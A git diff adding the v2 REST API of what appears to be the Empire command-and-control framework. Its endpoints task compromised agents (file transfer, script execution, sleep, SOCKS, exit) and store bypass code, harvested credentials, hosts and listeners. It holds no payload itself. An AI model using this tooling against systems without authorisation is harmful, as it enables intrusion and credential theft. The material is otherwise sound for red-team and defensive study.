+ detail=f"Download not found for id {upload_request.file_id}",
+ )
+
+ with open(download.location, "rb") as f:
+ file_data = f.read()
+
+ file_data = base64.b64encode(file_data).decode("UTF-8")
+ raw_data = base64.b64decode(file_data)
+
+ # We can probably remove this file size limit with updates to the agent code.
+ # At the moment the data is expected as a string of "filename|filedata"
+ # We could instead take a larger file, store it as a file on the server and store a reference to it in the db.
+ # And then change the way the agents pull down the file.
+ if len(raw_data) > 1048576:
+ raise HTTPException(
+ status_code=400, detail="file size too large. Maximum file size of 1MB"
+ )
+
+ resp, err = agent_task_service.create_task_upload(
+ db, db_agent, file_data, upload_request.path_to_file, current_user.id
+ )
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_task(resp)
+
+
+@router.post("/{agent_id}/tasks/download", status_code=201, response_model=Task)
+async def create_task_download(
+ download_request: DownloadPostRequest,
+ db_agent: models.Agent = Depends(get_agent),
+ db: Session = Depends(get_db),
+ current_user: models.User = Depends(get_current_user),
+):
+ resp, err = agent_task_service.create_task_download(
+ db, db_agent, download_request.path_to_file, current_user.id
+ )
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_task(resp)
+
+
+@router.post("/{agent_id}/tasks/script_import", status_code=201, response_model=Task)
+async def create_task_script_import(
+ file: UploadFile = File(...),
+ db_agent: models.Agent = Depends(get_agent),
+ db: Session = Depends(get_db),
+ current_user: models.User = Depends(get_current_user),
+):
+ file_data = await file.read()
+ file_data = file_data.decode("utf-8")
+ resp, err = agent_task_service.create_task_script_import(
+ db, db_agent, file_data, current_user.id
+ )
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_task(resp)
+
+
+@router.post("/{agent_id}/tasks/script_command", status_code=201, response_model=Task)
+async def create_task_script_command(
+ script_command_request: ScriptCommandPostRequest,
+ db_agent: models.Agent = Depends(get_agent),
+ db: Session = Depends(get_db),
+ current_user: models.User = Depends(get_current_user),
+):
+ """
+ For python agents, this will run a script on the agent.
+ For Powershell agents, script_import must be run first and then this will run the script.
+
+ :param script_command_request:
+ :param db_agent:
+ :param db:
+ :param current_user:
+ :return:
+ """
+ resp, err = agent_task_service.create_task_script_command(
+ db, db_agent, script_command_request.command, current_user.id
+ )
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_task(resp)
+
+
+@router.post("/{agent_id}/tasks/sysinfo", status_code=201, response_model=Task)
+async def create_task_sysinfo(
+ sysinfo_request: SysinfoPostRequest,
+ db_agent: models.Agent = Depends(get_agent),
+ db: Session = Depends(get_db),
+ current_user: models.User = Depends(get_current_user),
+):
+ resp, err = agent_task_service.create_task_sysinfo(db, db_agent, current_user.id)
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_task(resp)
+
+
+@router.post("/{agent_id}/tasks/update_comms", status_code=201, response_model=Task)
+async def create_task_update_comms(
+ comms_request: CommsPostRequest,
+ db_agent: models.Agent = Depends(get_agent),
+ db: Session = Depends(get_db),
+ current_user: models.User = Depends(get_current_user),
+):
+ resp, err = agent_task_service.create_task_update_comms(
+ db, db_agent, comms_request.new_listener_id, current_user.id
+ )
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_task(resp)
+
+
+@router.post("/{agent_id}/tasks/sleep", status_code=201, response_model=Task)
+async def create_task_update_sleep(
+ sleep_request: SleepPostRequest,
+ db_agent: models.Agent = Depends(get_agent),
+ db: Session = Depends(get_db),
+ current_user: models.User = Depends(get_current_user),
+):
+ resp, err = agent_task_service.create_task_update_sleep(
+ db, db_agent, sleep_request.delay, sleep_request.jitter, current_user.id
+ )
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_task(resp)
+
+
+@router.post("/{agent_id}/tasks/kill_date", status_code=201, response_model=Task)
+async def create_task_update_kill_date(
+ kill_date_request: KillDatePostRequest,
+ db_agent: models.Agent = Depends(get_agent),
+ db: Session = Depends(get_db),
+ current_user: models.User = Depends(get_current_user),
+):
+ resp, err = agent_task_service.create_task_update_kill_date(
+ db, db_agent, kill_date_request.kill_date, current_user.id
+ )
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_task(resp)
+
+
+@router.post("/{agent_id}/tasks/working_hours", status_code=201, response_model=Task)
+async def create_task_update_working_hours(
+ working_hours_request: WorkingHoursPostRequest,
+ db_agent: models.Agent = Depends(get_agent),
+ db: Session = Depends(get_db),
+ current_user: models.User = Depends(get_current_user),
+):
+ resp, err = agent_task_service.create_task_update_working_hours(
+ db, db_agent, working_hours_request.working_hours, current_user.id
+ )
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_task(resp)
+
+
+@router.post("/{agent_id}/tasks/directory_list", status_code=201, response_model=Task)
+async def create_task_update_directory_list(
+ directory_list_request: DirectoryListPostRequest,
+ db_agent: models.Agent = Depends(get_agent),
+ db: Session = Depends(get_db),
+ current_user: models.User = Depends(get_current_user),
+):
+ resp, err = agent_task_service.create_task_directory_list(
+ db, db_agent, directory_list_request.path, current_user.id
+ )
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_task(resp)
+
+
+@router.post("/{agent_id}/tasks/proxy_list", status_code=201, response_model=Task)
+async def create_task_update_proxy_list(
+ proxy_list_request: ProxyListPostRequest,
+ db_agent: models.Agent = Depends(get_agent),
+ db: Session = Depends(get_db),
+ current_user: models.User = Depends(get_current_user),
+):
+ # We have to use a string enum to get the api to accept strings
+ # then convert to int manually. Agent code could be refactored to just
+ # use strings, then this conversion could be removed.
+ proxy_list_dict = proxy_list_request.dict()
+ for proxy in proxy_list_dict["proxies"]:
+ proxy["proxy_type"] = PROXY_NAME[proxy["proxy_type"]]
+ resp, err = agent_task_service.create_task_proxy_list(
+ db, db_agent, proxy_list_dict, current_user.id
+ )
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_task(resp)
+
+
+@router.post("/{agent_id}/tasks/exit", status_code=201, response_model=Task)
+async def create_task_exit(
+ exit_request: ExitPostRequest,
+ db_agent: models.Agent = Depends(get_agent),
+ db: Session = Depends(get_db),
+ current_user: models.User = Depends(get_current_user),
+):
+ resp, err = agent_task_service.create_task_exit(db, db_agent, current_user.id)
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_task(resp)
+
+
+@router.delete(
+ "/{agent_id}/tasks/{uid}", status_code=HTTP_204_NO_CONTENT, response_class=Response
+)
+async def delete_task(
+ uid: int, db: Session = Depends(get_db), db_task: models.Tasking = Depends(get_task)
+):
+ if db_task.status != TaskingStatus.queued:
+ raise HTTPException(
+ status_code=400, detail="Task must be in a queued state to be deleted"
+ )
+
+ agent_task_service.delete_task(db, db_task)
+
+
+@router.post("/{agent_id}/tasks/socks", status_code=201, response_model=Task)
+async def create_task_socks(
+ socks: SocksPostRequest,
+ db_agent: models.Agent = Depends(get_agent),
+ db: Session = Depends(get_db),
+ current_user: models.User = Depends(get_current_user),
+):
+ if is_port_in_use(socks.port):
+ raise HTTPException(status_code=400, detail="Socks port is in use")
+ else:
+ resp, err = agent_task_service.create_task_socks(
+ db, db_agent, socks.port, current_user.id
+ )
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_task(resp)
diff --git a/empire/server/api/v2/agent/agent_task_dto.py b/empire/server/api/v2/agent/agent_task_dto.py
new file mode 100644
index 000000000..fccae6bf4
--- /dev/null
+++ b/empire/server/api/v2/agent/agent_task_dto.py
@@ -0,0 +1,154 @@
+from datetime import datetime
+from enum import Enum
+from typing import Dict, List, Optional, Union
+
+from pydantic import BaseModel, Field
+
+from empire.server.api.v2.shared_dto import (
+ DownloadDescription,
+ domain_to_dto_download_description,
+)
+from empire.server.core.db import models
+
+
+class TaskOrderOptions(str, Enum):
+ id = "id"
+ updated_at = "updated_at"
+ status = "status"
+ agent = "agent"
+
+
+def domain_to_dto_task(
+ task: models.Tasking,
+ include_full_input: bool = True,
+ include_original_output: bool = True,
+ include_output: bool = True,
+):
+ return Task.construct( # .construct doesn't do any validation and speeds up the request a bit
+ id=task.id,
+ input=task.input,
+ full_input=None if not include_full_input else task.input_full,
+ output=None if not include_output else task.output,
+ original_output=None if not include_original_output else task.original_output,
+ user_id=task.user_id,
+ username=None if not task.user else task.user.username,
+ agent_id=task.agent_id,
+ downloads=list(
+ map(lambda x: domain_to_dto_download_description(x), task.downloads)
+ ),
+ module_name=task.module_name,
+ task_name=task.task_name,
+ status=task.status,
+ created_at=task.created_at,
+ updated_at=task.updated_at,
+ )
+
+
+class Task(BaseModel):
+ id: int
+ input: str
+ full_input: Optional[str]
+ output: Optional[str]
+ original_output: Optional[str]
+ user_id: Optional[int]
+ username: Optional[str]
+ agent_id: str
+ downloads: List[DownloadDescription]
+ module_name: Optional[str]
+ task_name: Optional[str]
+ status: models.TaskingStatus
+ created_at: datetime
+ updated_at: datetime
+
+
+class Tasks(BaseModel):
+ records: List[Task]
+ limit: int
+ page: int
+ total_pages: int
+ total: int
+
+
+class ShellPostRequest(BaseModel):
+ command: str
+ literal: bool = False
+
+
+class ModulePostRequest(BaseModel):
+ module_id: str
+ ignore_language_version_check: bool = False
+ ignore_admin_check: bool = False
+ options: Dict[str, Union[str, int, float]]
+
+
+class DownloadPostRequest(BaseModel):
+ path_to_file: str
+
+
+class UploadPostRequest(BaseModel):
+ path_to_file: str
+ file_id: int
+
+
+class ScriptCommandPostRequest(BaseModel):
+ command: str
+
+
+class SysinfoPostRequest(BaseModel):
+ pass
+
+
+class SleepPostRequest(BaseModel):
+ delay: int = Field(ge=0)
+ jitter: float = Field(ge=0, le=1)
+
+
+class CommsPostRequest(BaseModel):
+ new_listener_id: int
+
+
+class KillDatePostRequest(BaseModel):
+ kill_date: str # todo validator. Or can we just set it to a datetime. same with killdate on the agent dto
+
+
+class WorkingHoursPostRequest(BaseModel):
+ working_hours: str # todo validator.
+
+
+class DirectoryListPostRequest(BaseModel):
+ path: str
+
+
+class ProxyEnum(str, Enum):
+ socks4 = "SOCKS4"
+ socks5 = "SOCKS5"
+ http = "HTTP"
+ ssl = "SSL"
+ ssl_weak = "SSL_WEAK"
+ ssl_anon = "SSL_ANON"
+ tor = "TOR"
+ https = "HTTPS"
+ http_connect = "HTTP_CONNECT"
+ https_connect = "HTTPS_CONNECT"
+
+
+class ProxyItem(BaseModel):
+ proxy_type: ProxyEnum
+ host: str
+ port: int
+
+
+class ProxyListPostRequest(BaseModel):
+ proxies: List[ProxyItem]
+
+
+class ExitPostRequest(BaseModel):
+ pass
+
+
+class SocksPostRequest(BaseModel):
+ port: int
+
+
+class KillJobPostRequest(BaseModel):
+ id: int
diff --git a/empire/server/api/v2/bypass/__init__.py b/empire/server/api/v2/bypass/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/empire/server/api/v2/bypass/bypass_api.py b/empire/server/api/v2/bypass/bypass_api.py
new file mode 100644
index 000000000..4c3440364
--- /dev/null
+++ b/empire/server/api/v2/bypass/bypass_api.py
@@ -0,0 +1,85 @@
+from fastapi import Depends, HTTPException
+from sqlalchemy.orm import Session
+from starlette.responses import Response
+from starlette.status import HTTP_204_NO_CONTENT
+
+from empire.server.api.api_router import APIRouter
+from empire.server.api.jwt_auth import get_current_active_user
+from empire.server.api.v2.bypass.bypass_dto import (
+ Bypass,
+ Bypasses,
+ BypassPostRequest,
+ BypassUpdateRequest,
+ domain_to_dto_bypass,
+)
+from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
+from empire.server.core.db import models
+from empire.server.server import main
+
+bypass_service = main.bypassesv2
+
+router = APIRouter(
+ prefix="/api/v2/bypasses",
+ tags=["bypasses"],
+ responses={
+ 404: {"description": "Not found", "model": NotFoundResponse},
+ 400: {"description": "Bad request", "model": BadRequestResponse},
+ },
+ dependencies=[Depends(get_current_active_user)],
+)
+
+
+async def get_bypass(uid: int, db: Session = Depends(get_db)):
+ bypass = bypass_service.get_by_id(db, uid)
+
+ if bypass:
+ return bypass
+
+ raise HTTPException(404, f"Bypass not found for id {uid}")
+
+
+@router.get("/{uid}", response_model=Bypass)
+async def read_bypass(uid: int, db_bypass: models.Bypass = Depends(get_bypass)):
+ return domain_to_dto_bypass(db_bypass)
+
+
+@router.get("/", response_model=Bypasses)
+async def read_bypasses(db: Session = Depends(get_db)):
+ bypasses = list(map(lambda x: domain_to_dto_bypass(x), bypass_service.get_all(db)))
+
+ return {"records": bypasses}
+
+
+@router.post("/", status_code=201, response_model=Bypass)
+async def create_bypass(bypass_req: BypassPostRequest, db: Session = Depends(get_db)):
+ resp, err = bypass_service.create_bypass(db, bypass_req)
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_bypass(resp)
+
+
+@router.put("/{uid}", response_model=Bypass)
+async def update_bypass(
+ uid: int,
+ bypass_req: BypassUpdateRequest,
+ db: Session = Depends(get_db),
+ db_bypass: models.Bypass = Depends(get_bypass),
+):
+ resp, err = bypass_service.update_bypass(db, db_bypass, bypass_req)
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_bypass(resp)
+
+
+@router.delete("/{uid}", status_code=HTTP_204_NO_CONTENT, response_class=Response)
+async def delete_bypass(
+ uid: str,
+ db: Session = Depends(get_db),
+ db_bypass: models.Bypass = Depends(get_bypass),
+):
+ bypass_service.delete_bypass(db, db_bypass)
diff --git a/empire/server/api/v2/bypass/bypass_dto.py b/empire/server/api/v2/bypass/bypass_dto.py
new file mode 100644
index 000000000..95f4bc69f
--- /dev/null
+++ b/empire/server/api/v2/bypass/bypass_dto.py
@@ -0,0 +1,44 @@
+from datetime import datetime
+from typing import List
+
+from pydantic import BaseModel
+
+from empire.server.api.v2.shared_dto import Author
+
+
+def domain_to_dto_bypass(bypass):
+ return Bypass(
+ id=bypass.id,
+ name=bypass.name,
+ authors=bypass.authors or [],
+ language=bypass.language,
+ code=bypass.code,
+ created_at=bypass.created_at,
+ updated_at=bypass.updated_at,
+ )
+
+
+class Bypass(BaseModel):
+ id: int
+ name: str
+ authors: List[Author]
+ language: str
+ code: str
+ created_at: datetime
+ updated_at: datetime
+
+
+class Bypasses(BaseModel):
+ records: List[Bypass]
+
+
+class BypassUpdateRequest(BaseModel):
+ name: str
+ language: str
+ code: str
+
+
+class BypassPostRequest(BaseModel):
+ name: str
+ language: str
+ code: str
diff --git a/empire/server/api/v2/credential/__init__.py b/empire/server/api/v2/credential/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/empire/server/api/v2/credential/credential_api.py b/empire/server/api/v2/credential/credential_api.py
new file mode 100644
index 000000000..341f66ee6
--- /dev/null
+++ b/empire/server/api/v2/credential/credential_api.py
@@ -0,0 +1,108 @@
+from typing import Optional
+
+from fastapi import Depends, HTTPException
+from sqlalchemy.orm import Session
+from starlette.responses import Response
+from starlette.status import HTTP_204_NO_CONTENT
+
+from empire.server.api.api_router import APIRouter
+from empire.server.api.jwt_auth import get_current_active_user
+from empire.server.api.v2.credential.credential_dto import (
+ Credential,
+ CredentialPostRequest,
+ Credentials,
+ CredentialUpdateRequest,
+ domain_to_dto_credential,
+)
+from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
+from empire.server.core.db import models
+from empire.server.server import main
+
+credential_service = main.credentialsv2
+
+router = APIRouter(
+ prefix="/api/v2/credentials",
+ tags=["credentials"],
+ responses={
+ 404: {"description": "Not found", "model": NotFoundResponse},
+ 400: {"description": "Bad request", "model": BadRequestResponse},
+ },
+ dependencies=[Depends(get_current_active_user)],
+)
+
+
+async def get_credential(uid: int, db: Session = Depends(get_db)):
+ credential = credential_service.get_by_id(db, uid)
+
+ if credential:
+ return credential
+
+ raise HTTPException(404, f"Credential not found for id {uid}")
+
+
+@router.get("/{uid}", response_model=Credential)
+async def read_credential(
+ uid: int, db_credential: models.Credential = Depends(get_credential)
+):
+ return domain_to_dto_credential(db_credential)
+
+
+@router.get("/", response_model=Credentials)
+async def read_credentials(
+ db: Session = Depends(get_db),
+ search: Optional[str] = None,
+ credtype: Optional[str] = None,
+):
+ credentials = list(
+ map(
+ lambda x: domain_to_dto_credential(x),
+ credential_service.get_all(db, search, credtype),
+ )
+ )
+
+ return {"records": credentials}
+
+
+@router.post(
+ "/",
+ status_code=201,
+ response_model=Credential,
+)
+async def create_credential(
+ credential_req: CredentialPostRequest, db: Session = Depends(get_db)
+):
+ resp, err = credential_service.create_credential(db, credential_req)
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_credential(resp)
+
+
+@router.put("/{uid}", response_model=Credential)
+async def update_credential(
+ uid: int,
+ credential_req: CredentialUpdateRequest,
+ db: Session = Depends(get_db),
+ db_credential: models.Credential = Depends(get_credential),
+):
+ resp, err = credential_service.update_credential(db, db_credential, credential_req)
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
+ return domain_to_dto_credential(resp)
+
+
+@router.delete(
+ "/{uid}",
+ status_code=HTTP_204_NO_CONTENT,
+ response_class=Response,
+)
+async def delete_credential(
+ uid: str,
+ db: Session = Depends(get_db),
+ db_credential: models.Credential = Depends(get_credential),
+):
+ credential_service.delete_credential(db, db_credential)
diff --git a/empire/server/api/v2/credential/credential_dto.py b/empire/server/api/v2/credential/credential_dto.py
new file mode 100644
index 000000000..e1c92b9a1
--- /dev/null
+++ b/empire/server/api/v2/credential/credential_dto.py
@@ -0,0 +1,63 @@
+from datetime import datetime
+from typing import List, Optional
+
+from pydantic import BaseModel
+
+
+def domain_to_dto_credential(credential):
+ return Credential(
+ id=credential.id,
+ credtype=credential.credtype,
+ domain=credential.domain,
+ username=credential.username,
+ password=credential.password,
+ host=credential.host, # for now, host is not joined.
+ os=credential.os,
+ sid=credential.sid,
+ notes=credential.notes,
+ created_at=credential.created_at,
+ updated_at=credential.updated_at,
+ )
+
+
+class Credential(BaseModel):
+ id: int
+ credtype: str
+ domain: str
+ username: str
+ password: str
+ host: str
+ os: Optional[str]
+ sid: Optional[str]
+ notes: Optional[str]
+ created_at: datetime
+ updated_at: datetime
+
+
+class Credentials(BaseModel):
+ records: List[Credential]
+
+
+class CredentialUpdateRequest(BaseModel):
+ credtype: str
+ domain: str
+ username: str
+ password: str
+ host: str
+ os: str
+ sid: str
+ notes: str
+ os: Optional[str]
+ sid: Optional[str]
+ notes: Optional[str]
+
+
+class CredentialPostRequest(BaseModel):
+ credtype: str
+ domain: str
+ username: str
+ password: str
+ host: str
+ os: Optional[str]
+ sid: Optional[str]
+ notes: Optional[str]
diff --git a/empire/server/api/v2/download/__init__.py b/empire/server/api/v2/download/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/empire/server/api/v2/download/download_api.py b/empire/server/api/v2/download/download_api.py
new file mode 100644
index 000000000..ca2a23399
--- /dev/null
+++ b/empire/server/api/v2/download/download_api.py
@@ -0,0 +1,111 @@
+import math
+from typing import List, Optional
+
+from fastapi import Depends, File, HTTPException, Query, UploadFile
+from sqlalchemy.orm import Session
+from starlette.responses import FileResponse
+
+from empire.server.api.api_router import APIRouter
+from empire.server.api.jwt_auth import get_current_active_user
+from empire.server.api.v2.download.download_dto import (
+ Download,
+ DownloadOrderOptions,
+ Downloads,
+ DownloadSourceFilter,
+ domain_to_dto_download,
+)
+from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dto import (
+ BadRequestResponse,
+ NotFoundResponse,
+ OrderDirection,
+)
+from empire.server.core.db import models
+from empire.server.server import main
+
+download_service = main.downloadsv2
+
+router = APIRouter(
+ prefix="/api/v2/downloads",
+ tags=["downloads"],
+ responses={
+ 404: {"description": "Not found", "model": NotFoundResponse},
+ 400: {"description": "Bad request", "model": BadRequestResponse},
+ },
+ dependencies=[Depends(get_current_active_user)],
+)
+
+
+async def get_download(uid: int, db: Session = Depends(get_db)):
+ download = download_service.get_by_id(db, uid)
+
+ if download:
+ return download
+
+ raise HTTPException(404, f"Download not found for id {uid}")
+
+
+@router.get("/{uid}/download", response_class=FileResponse)
+async def download_download(
+ uid: int,
+ db: Session = Depends(get_db),
+ db_download: models.Download = Depends(get_download),
+):
+ if db_download.filename:
+ filename = db_download.filename
+ else:
+ filename = db_download.location.split("/")[-1]
+
+ return FileResponse(db_download.location, filename=filename)
+
+
+@router.get(
+ "/{uid}",
+)
+async def read_download(
+ uid: int,
+ db: Session = Depends(get_db),
+ db_download: models.Download = Depends(get_download),
+):
+ return domain_to_dto_download(db_download)
+
+
+# todo basically everything should go to downloads which means the path should start after downloads.
+@router.get("/", response_model=Downloads)
+async def read_downloads(
+ db: Session = Depends(get_db),
+ limit: int = -1,
+ page: int = 1,
+ order_direction: OrderDirection = OrderDirection.desc,
+ order_by: DownloadOrderOptions = DownloadOrderOptions.updated_at,
+ query: Optional[str] = None,
+ sources: Optional[List[DownloadSourceFilter]] = Query(None),
+):
+ downloads, total = download_service.get_all(
+ db=db,
+ download_types=sources,
+ q=query,
+ limit=limit,
+ offset=(page - 1) * limit,
+ order_by=order_by,
+ order_direction=order_direction,
+ )
+
+ downloads_converted = list(map(lambda x: domain_to_dto_download(x), downloads))
+
+ return Downloads(
+ records=downloads_converted,
+ page=page,
+ total_pages=math.ceil(total / limit) if limit > 0 else page,
+ limit=limit,
+ total=total,
+ )
+
+
+@router.post("/", status_code=201, response_model=Download)
+async def create_download(
+ db: Session = Depends(get_db),
+ user: models.User = Depends(get_current_active_user),
+ file: UploadFile = File(...),
+):
+ return domain_to_dto_download(download_service.create_download(db, user, file))
diff --git a/empire/server/api/v2/download/download_dto.py b/empire/server/api/v2/download/download_dto.py
new file mode 100644
index 000000000..3703ff266
--- /dev/null
+++ b/empire/server/api/v2/download/download_dto.py
@@ -0,0 +1,48 @@
+from datetime import datetime
+from enum import Enum
+from typing import List
+
+from pydantic import BaseModel
+
+
+def domain_to_dto_download(download):
+ return Download(
+ id=download.id,
+ location=download.location,
+ filename=download.filename,
+ size=download.size,
+ created_at=download.created_at,
+ updated_at=download.updated_at,
+ )
+
+
+class DownloadSourceFilter(str, Enum):
+ upload = "upload"
+ stager = "stager"
+ agent_file = "agent_file"
+ agent_task = "agent_task"
+
+
+class DownloadOrderOptions(str, Enum):
+ filename = "filename"
+ location = "location"
+ size = "size"
+ created_at = "created_at"
+ updated_at = "updated_at"
+
+
+class Download(BaseModel):
+ id: int
+ location: str
+ filename: str
+ size: int
+ created_at: datetime
+ updated_at: datetime
+
+
+class Downloads(BaseModel):
+ records: List[Download]
+ limit: int
+ page: int
+ total_pages: int
+ total: int
diff --git a/empire/server/api/v2/host/__init__.py b/empire/server/api/v2/host/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/empire/server/api/v2/host/host_api.py b/empire/server/api/v2/host/host_api.py
new file mode 100644
index 000000000..3c0199fe6
--- /dev/null
+++ b/empire/server/api/v2/host/host_api.py
@@ -0,0 +1,43 @@
+from fastapi import Depends, HTTPException
+from sqlalchemy.orm import Session
+
+from empire.server.api.api_router import APIRouter
+from empire.server.api.jwt_auth import get_current_active_user
+from empire.server.api.v2.host.host_dto import Host, Hosts, domain_to_dto_host
+from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
+from empire.server.core.db import models
+from empire.server.server import main
+
+host_service = main.hostsv2
+
+router = APIRouter(
+ prefix="/api/v2/hosts",
+ tags=["hosts"],
+ responses={
+ 404: {"description": "Not found", "model": NotFoundResponse},
+ 400: {"description": "Bad request", "model": BadRequestResponse},
+ },
+ dependencies=[Depends(get_current_active_user)],
+)
+
+
+async def get_host(uid: int, db: Session = Depends(get_db)):
+ host = host_service.get_by_id(db, uid)
+
+ if host:
+ return host
+
+ raise HTTPException(status_code=404, detail=f"Host not found for id {uid}")
+
+
+@router.get("/{uid}", response_model=Host)
+async def read_host(uid: int, db_host: models.Host = Depends(get_host)):
+ return domain_to_dto_host(db_host)
+
+
+@router.get("/", response_model=Hosts)
+async def read_hosts(db: Session = Depends(get_db)):
+ hosts = list(map(lambda x: domain_to_dto_host(x), host_service.get_all(db)))
+
+ return {"records": hosts}
diff --git a/empire/server/api/v2/host/host_dto.py b/empire/server/api/v2/host/host_dto.py
new file mode 100644
index 000000000..cfeca87ad
--- /dev/null
+++ b/empire/server/api/v2/host/host_dto.py
@@ -0,0 +1,21 @@
+from typing import List
+
+from pydantic import BaseModel
+
+
+def domain_to_dto_host(host):
+ return Host(
+ id=host.id,
+ name=host.name,
+ internal_ip=host.internal_ip,
+ )
+
+
+class Host(BaseModel):
+ id: int
+ name: str
+ internal_ip: str
+
+
+class Hosts(BaseModel):
+ records: List[Host]
diff --git a/empire/server/api/v2/host/process_api.py b/empire/server/api/v2/host/process_api.py
new file mode 100644
index 000000000..396dc9180
--- /dev/null
+++ b/empire/server/api/v2/host/process_api.py
@@ -0,0 +1,68 @@
+from fastapi import Depends, HTTPException
+from sqlalchemy.orm import Session
+
+from empire.server.api.api_router import APIRouter
+from empire.server.api.jwt_auth import get_current_active_user
+from empire.server.api.v2.host.process_dto import (
+ Process,
+ Processes,
+ domain_to_dto_process,
+)
+from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
+from empire.server.core.db import models
+from empire.server.server import main
+
+host_process_service = main.processesv2
+host_service = main.hostsv2
+
+router = APIRouter(
+ prefix="/api/v2/hosts/{host_id}/processes",
+ tags=["hosts"],
+ responses={
+ 404: {"description": "Not found", "model": NotFoundResponse},
+ 400: {"description": "Bad request", "model": BadRequestResponse},
+ },
+ dependencies=[Depends(get_current_active_user)],
+)
+
+
+async def get_host(host_id: int, db: Session = Depends(get_db)):
+ host = host_service.get_by_id(db, host_id)
+
+ if host:
+ return host
+
+ raise HTTPException(status_code=404, detail=f"Host not found for id {host_id}")
+
+
+async def get_process(
+ uid: int, db: Session = Depends(get_db), db_host: models.Host = Depends(get_host)
+):
+ process = host_process_service.get_process_for_host(db, db_host, uid)
+
+ if process:
+ return process
+
+ raise HTTPException(
+ 404, f"Process not found for host id {db_host.id} and process id {uid}"
+ )
+
+
+@router.get("/{uid}", response_model=Process)
+async def read_process(uid: int, db_process: models.HostProcess = Depends(get_process)):
+ return domain_to_dto_process(db_process)
+
+
+@router.get("/", response_model=Processes)
+async def read_processes(
+ db: Session = Depends(get_db), db_host: models.Host = Depends(get_host)
+):
+ processes = list(
+ map(
+ lambda x: domain_to_dto_process(x),
+ host_process_service.get_processes_for_host(db, db_host),
+ )
+ )
+
+ return {"records": processes}
diff --git a/empire/server/api/v2/host/process_dto.py b/empire/server/api/v2/host/process_dto.py
new file mode 100644
index 000000000..a484865d1
--- /dev/null
+++ b/empire/server/api/v2/host/process_dto.py
@@ -0,0 +1,36 @@
+from typing import List, Optional
+
+from pydantic import BaseModel
+
+from empire.server.core.db import models
+
+
+def domain_to_dto_process(process: models.HostProcess):
+ if process.agent:
+ agent_id = process.agent.session_id
+ else:
+ agent_id = None
+
+ return Process(
+ process_id=process.process_id,
+ process_name=process.process_name,
+ host_id=process.host_id,
+ architecture=process.architecture,
+ user=process.user,
+ stale=process.stale,
+ agent_id=agent_id,
+ )
+
+
+class Process(BaseModel):
+ process_id: int
+ process_name: str
+ host_id: int
+ architecture: Optional[str]
+ user: Optional[str]
+ stale: bool
+ agent_id: Optional[str]
+
+
+class Processes(BaseModel):
+ records: List[Process]
diff --git a/empire/server/api/v2/listener/__init__.py b/empire/server/api/v2/listener/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/empire/server/api/v2/listener/listener_api.py b/empire/server/api/v2/listener/listener_api.py
new file mode 100644
index 000000000..2634e38f8
--- /dev/null
+++ b/empire/server/api/v2/listener/listener_api.py
@@ -0,0 +1,130 @@
+from fastapi import Depends, HTTPException
+from sqlalchemy.orm import Session
+from starlette.responses import Response
+from starlette.status import HTTP_204_NO_CONTENT
+
+from empire.server.api.api_router import APIRouter
+from empire.server.api.jwt_auth import get_current_active_user
+from empire.server.api.v2.listener.listener_dto import (
+ Listener,
+ ListenerPostRequest,
+ Listeners,
+ ListenerUpdateRequest,
+ domain_to_dto_listener,
+)
+from empire.server.api.v2.shared_dependencies import get_db
+from empire.server.api.v2.shared_dto import BadRequestResponse, NotFoundResponse
+from empire.server.core.db import models
+from empire.server.server import main
+
+listener_service = main.listenersv2
+
+router = APIRouter(
+ prefix="/api/v2/listeners",
+ tags=["listeners"],
+ responses={
+ 404: {"description": "Not found", "model": NotFoundResponse},
+ 400: {"description": "Bad request", "model": BadRequestResponse},
+ },
+ dependencies=[Depends(get_current_active_user)],
+)
+
+
+async def get_listener(uid: int, db: Session = Depends(get_db)):
+ listener = listener_service.get_by_id(db, uid)
+
+ if listener:
+ return listener
+
+ raise HTTPException(404, f"Listener not found for id {uid}")
+
+
+@router.get("/{uid}", response_model=Listener)
+async def read_listener(uid: int, db_listener: models.Listener = Depends(get_listener)):
+ return domain_to_dto_listener(db_listener)
+
+
+@router.get("/", response_model=Listeners)
+async def read_listeners(db: Session = Depends(get_db)):
+ listeners = list(
+ map(lambda x: domain_to_dto_listener(x), listener_service.get_all(db))
+ )
+
+ return {"records": listeners}
+
+
+@router.post("/", status_code=201, response_model=Listener)
+async def create_listener(
+ listener_req: ListenerPostRequest, db: Session = Depends(get_db)
+):
+ """
+ Note: options['Name'] will be overwritten by name. When v1 api is eventually removed, it wil no longer be needed.
+ :param listener_req:
+ :param db
+ :return:
+ """
+ resp, err = listener_service.create_listener(db, listener_req)
+
+ if err:
+ raise HTTPException(status_code=400, detail=err)
+
